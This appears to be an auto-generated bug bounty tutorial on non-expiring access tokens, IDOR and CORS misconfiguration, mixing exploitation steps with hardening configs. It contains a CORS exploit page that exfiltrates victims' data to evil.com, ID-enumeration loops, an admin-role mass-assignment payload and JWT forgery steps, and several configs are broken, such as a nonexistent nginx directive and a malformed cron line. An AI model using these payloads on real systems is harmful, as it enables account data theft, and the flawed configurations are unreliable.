How a Simple CORS Flaw and an Eternal Access Token Led to a P1 Bug Bounty Payday – And How You Can Find Them Too + Video

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Introduction:

Bug bounty hunters often encounter vulnerabilities that seem minor at first glance but, when combined with creative exploitation, escalate into critical data breaches. Two real-world findings—a mass sensitive document leak caused by a non-expiring access token and a “simple” CORS misconfiguration that led to a P1 rating—demonstrate how overlooked API security flaws can expose millions of records. This article dissects these issues, provides step-by-step exploitation techniques, and offers hardening commands for Linux, Windows, and cloud environments.

Learning Objectives:

  • Identify and exploit mass assignment and IDOR vulnerabilities that lead to document leaks via stale access tokens.
  • Analyze access token expiration mechanisms and implement secure token lifecycle management with JWT and OAuth2.
  • Detect and exploit CORS misconfigurations to exfiltrate sensitive data, escalating low-severity issues to P1.

You Should Know:

  1. Mass Sensitive Document Leak: The Non‑Expiring Access Token Nightmare
    Non‑expiring access tokens violate fundamental security principles. If a token never expires, an attacker who intercepts it (via XSS, MITM, or log file) gains indefinite access to the victim’s resources. In the reported bug, the token allowed enumeration of all documents belonging to any user—a classic IDOR amplified by a broken token lifecycle.

Step‑by‑step guide to detect and exploit this flaw:

  1. Capture an authenticated request using Burp Suite or OWASP ZAP. Look for an `Authorization: Bearer ` header.
  2. Replay the same request after 24, 48, and 72 hours. If the server still returns 200 OK, the token is non‑expiring.
  3. Fuzz endpoint parameters that contain user or document identifiers. For example, change `GET /api/documents?userId=123` to 124, 125, etc.

4. Automate the brute‑force using `curl` on Linux:

TOKEN="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIn0.dozjgNryP4J3jVmNHl0w5N_XgL0n3I9PlFUP0THsR8U"
for id in {1000..2000}; do
curl -s -H "Authorization: Bearer $TOKEN" "https://target.com/api/documents?userId=$id" | grep -i "secret"
done

5. On Windows PowerShell, use:

$token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."
1000..2000 | ForEach-Object { Invoke-RestMethod -Headers @{Authorization="Bearer $token"} -Uri "https://target.com/api/documents?userId=$_" }

Mitigation commands & configuration:

  • Enforce token expiry in JWT: set `exp` claim to a short value (e.g., 15 minutes). Use `openssl` to inspect token expiry: 
    echo "<JWT>" | cut -d"." -f2 | base64 -d | jq .exp
  • Configure API gateway (e.g., Kong, NGINX) to reject tokens older than X seconds: 
    location /api/ {
auth_jwt "closed site";
auth_jwt_key_file /etc/nginx/keys/jwt.pem;
auth_jwt_validation_exp 900s;  15 minutes
}
  1. CORS Misconfiguration: From Low to P1 with Proof of Concept
    CORS (Cross‑Origin Resource Sharing) misconfigurations allow malicious websites to read sensitive responses from your API. The reported bug was a “simple CORS issue” that became P1 after the hunter provided a working PoC—demonstrating that even `Access-Control-Allow-Origin: ` combined with `Access-Control-Allow-Credentials: true` leaks session cookies and tokens.

Step‑by‑step guide to test and exploit CORS:

  1. Send an OPTIONS or GET request with an arbitrary `Origin` header: 
    curl -H "Origin: https://evil.com" -I https://target.com/api/user/sensitive

2. Look for response headers:

  • `Access-Control-Allow-Origin: https://evil.com` (reflected origin)
    – `Access-Control-Allow-Credentials: true`
    3. If both are present, any attacker‑controlled site can read the response. Create an HTML exploitation page:

    <script>
fetch('https://target.com/api/user/sensitive', {
credentials: 'include'
}).then(res => res.json()).then(data => {
fetch('https://evil.com/steal?data=' + btoa(JSON.stringify(data)));
});
</script>
  1. Host the page on your domain (e.g., evil.com) and send the link to a victim. When they click, their authenticated session sends the request, and the response is exfiltrated.

Detection automation with Burp Suite:

  • Install the “CORS Scanner” BApp. It automatically checks for insecure `ACAO` reflections.
  • Use this Python snippet to brute‑force allowed origins: 
    import requests
origins = ["https://evil.com", "https://attacker.org", "null"]
for origin in origins:
r = requests.get("https://target.com/api/v1/user", headers={"Origin": origin})
if r.headers.get("Access-Control-Allow-Origin") == origin:
print(f"Vulnerable to {origin}")

Hardening:

  • Never use `Access-Control-Allow-Origin: ` with credentials. Use a strict whitelist.
  • Configure NGINX to validate origins: 
    if ($http_origin ~ (https://trusted.com|https://app.com)) {
add_header Access-Control-Allow-Origin $http_origin;
add_header Access-Control-Allow-Credentials true;
}
  1. Token Expiration Testing: How to Verify Tokens Don’t Live Forever
    Many developers set long expiry “just in case,” leading to token abuse. Systematic testing is required.

Step‑by‑step guide:

  1. Capture a fresh token from a login request.
  2. Use a cron job or scheduled task to replay the token at intervals.

– Linux (cron): `0 /6 /usr/bin/curl -H “Authorization: Bearer $TOKEN” https://target.com/api/me >> /tmp/token_test.log`
– Windows Task Scheduler: Run PowerShell script every hour:

$token = Get-Content C:\token.txt
$response = Invoke-WebRequest -Headers @{Authorization="Bearer $token"} -Uri "https://target.com/api/me"
if ($response.StatusCode -eq 200) { Add-Content C:\token_log.txt "$(Get-Date) - Token still valid" }

3. After 24 hours, if the token still works, report it. For bonus points, demonstrate that the token works across different IPs (no binding).

4. For JWT, check the `exp` claim manually:

 Decode JWT payload without verifying signature
echo $TOKEN | cut -d"." -f2 | base64 -d 2>/dev/null | jq

If `exp` is missing or set to 9999999999, it’s non‑expiring.

Secure token lifecycle implementation (Node.js/Express + Redis):

const jwt = require('jsonwebtoken');
const token = jwt.sign({ userId: 123 }, secret, { expiresIn: '15m' });
// Store refresh token in HTTP‑only cookie, rotate every 7 days
  1. API Security Hardening: Preventing Mass Assignment and IDOR
    Mass assignment vulnerabilities occur when an API endpoint blindly accepts all input fields, allowing attackers to modify privileged properties (e.g., isAdmin). Combined with IDOR, an attacker can leak entire databases.

Step‑by‑step guide to identify and fix:

  1. Use Burp Intruder to fuzz JSON parameters. Send a `PUT /api/user/123` with: 
    {"username":"attacker","role":"admin","creditCard":"4111111111111111"}

    If the server updates `role` to admin, mass assignment exists.

  2. For IDOR, test sequential object IDs. Use this `ffuf` command: 
    ffuf -u "https://target.com/api/documents/FUZZ" -w /usr/share/wordlists/ids.txt -H "Authorization: Bearer $TOKEN"
  3. Fix in code: Use Data Transfer Objects (DTOs) and whitelist allowed fields. Example in Python (Flask): 
    from marshmallow import Schema, fields
class UserUpdateSchema(Schema):
email = fields.Email(required=True)
name = fields.Str()
role field is deliberately omitted

Cloud hardening (AWS API Gateway + Lambda):

  • Enable IAM authorization and enforce resource‑based policies. Use a Lambda authorizer to validate user → object ownership.
  • Example policy condition: 
    "Condition": {
"StringEquals": {
"dynamodb:LeadingKeys": "${user_id}"
}
}

5. PentesterLab Walkthrough: Recommended Labs for These Vulnerabilities

The bug hunter explicitly recommends PentesterLab for its realistic, hard‑to‑solve exercises. The platform offers badges for CORS, IDOR, and JWT attacks.

Step‑by‑step setup:

  1. Register at PentesterLab (free tier includes some exercises).

2. Download the “CORS” exercise:

git clone https://github.com/pentesterlab/cors_exercise
cd cors_exercise
docker-compose up -d

3. Solve the lab: Visit `http://localhost:8080` and exploit the reflected origin to steal a secret.
4. For the “IDOR” badge, use `curl` to brute‑force document IDs:

for i in {1..100}; do curl -H "Cookie: session=abc123" http://localhost:8080/document/$i; done

5. For token expiration, the “JWT” lab includes a token with no `exp` claim. Use `jwt_tool` to forge an admin token:

git clone https://github.com/ticarpi/jwt_tool
python3 jwt_tool.py <token> -T

Why PentesterLab is effective: The exercises require manual exploitation without automated scanners, building deep understanding. The “x10000” labs mentioned by Rahima Haq refer to the platform’s progressive difficulty.

  1. Building a Bug Bounty Methodology: Combining Theory and Labs
    To consistently find P1s like the ones described, you need a repeatable process that integrates theory (RFCs, OWASP) with hands‑on labs.

Step‑by‑step methodology:

  1. Reconnaissance: Use subfinder, httpx, and `waybackurls` to discover API endpoints.
  2. Authentication testing: Automate token replay with a custom Python script that sleeps and retries: 
    import time, requests
token = "eyJ..."
url = "https://target.com/api/me"
for hour in range(0, 48):
r = requests.get(url, headers={"Authorization": f"Bearer {token}"})
print(f"Hour {hour}: {r.status_code}")
time.sleep(3600)
  3. CORS scanning: Use `corsy` (Python tool) to detect misconfigurations: 
    pip install corsy
corsy -u https://target.com -t 10 -o cors_report.txt
  4. Mass assignment: Send PATCH requests with additional fields. Use Burp’s “Param Miner” extension to guess hidden parameters.
  5. Reporting: Always provide a working PoC (HTML file, curl command, or JavaScript snippet). As Rahima noted, the simple CORS issue became P1 because she provided sample exploitation.

Tool configurations:

  • Burp Suite: Install “CORS Misconfiguration Scanner” and “Auth Analyzer” from BApp store.
  • ZAP: Enable “CORS Scanner” passive scan rule.

What Undercode Say:

  • Key Takeaway 1: Non‑expiring access tokens are a critical design flaw—always enforce expiration and rotation, ideally with short‑lived JWTs and refresh tokens bound to client fingerprints.
  • Key Takeaway 2: CORS misconfigurations are often dismissed as “low” but escalate to P1 when credentials are allowed and a PoC demonstrates account takeover via data exfiltration.
  • Analysis: The bug hunter’s patience paid off because they provided proof‑of‑concept exploitation, turning a “simple” CORS issue into P1. Labs like PentesterLab are essential for building practical skills that scanners miss. The mass document leak also highlights how IDOR vulnerabilities become catastrophic when combined with broken token lifecycle. Enterprises should treat token expiration as a critical KPI and run automated replay tests in CI/CD pipelines. For aspiring bug bounty hunters, mastering these two patterns (token expiry + CORS) can yield high‑severity findings on modern APIs.

Prediction:

As APIs become the backbone of every application, token lifecycle mismanagement and CORS misconfigurations will remain top attack vectors for the next 2–3 years. Expect bug bounty platforms to raise bounties for these issues as more enterprises adopt microservices and serverless architectures. Automated scanners will evolve to detect reflected origins and token expiry, but manual chaining (e.g., token leak via CORS + IDOR) will be the next big wave. We also predict that runtime security tools (like eBPF-based API firewalls) will start enforcing per‑request token expiry checks, rendering non‑expiring tokens impossible to use in production. Start practicing today on PentesterLab—your patience will be rewarded.

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Reported By: Rahimasec Bugcrowd – Hackers Feeds
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